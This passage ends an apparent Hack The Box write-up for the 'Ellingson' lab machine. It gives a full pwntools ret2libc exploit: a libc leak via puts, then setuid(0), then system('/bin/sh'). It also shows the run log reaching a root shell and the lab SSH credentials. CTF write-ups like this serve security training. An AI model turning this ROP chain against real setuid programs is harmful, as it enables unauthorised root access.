log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
payload = "A" * 136
payload += p64(POP_RDI)
payload += p64(LIBC_START_MAIN)
payload += p64(PUTS)
payload += p64(MAIN)
p.recvuntil('password:')
p.sendline(payload)
p.recvline()
p.recvline()
leak = p.recvline().strip()
leak = u64(leak.ljust(8, "\x00"))
log.success("Leaked __libc_start_main: " + hex(leak))
return leak
def suid(p,elf,libc,rop):
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
SUID = libc.sym['setuid']
MAIN = elf.symbols['main']
payload = "A" * 136
payload += p64(POP_RDI)
payload += p64(0)
payload += p64(SUID)
payload += p64(MAIN)
p.recvuntil('password:')
p.sendline(payload)
def shell(p,elf,libc,rop):
RET = rop.find_gadget(['ret'])[0]
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
BIN_SH = next(libc.search("/bin/sh"))
SYSTEM = libc.sym["system"]
log.success("/bin/sh: " + hex(BIN_SH))
log.success("system: " + hex(SYSTEM))
payload = "A" * 136
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)
p.recvuntil('password:')
p.sendline(payload)
p.interactive()
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)
leak = leak(p,elf,libc,rop)
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Calculated libc address: " + hex(libc.address))
log.info("Setting uid to 0")
suid(p,elf,libc,rop)
shell(p,elf,libc,rop)
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 8111
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f0e56addab0
[*] Calculated libc address: 0x7f0e56abc000
[*] Setting uid to 0
[+] /bin/sh: 0x7f0e56c6fe9a
[+] system: 0x7f0e56b0b440
[*] Switching to interactive mode
access denied.
# $ whoami
root
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)
# $
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Writeup
Next Hack The Box write-up: Hack The Box - Safe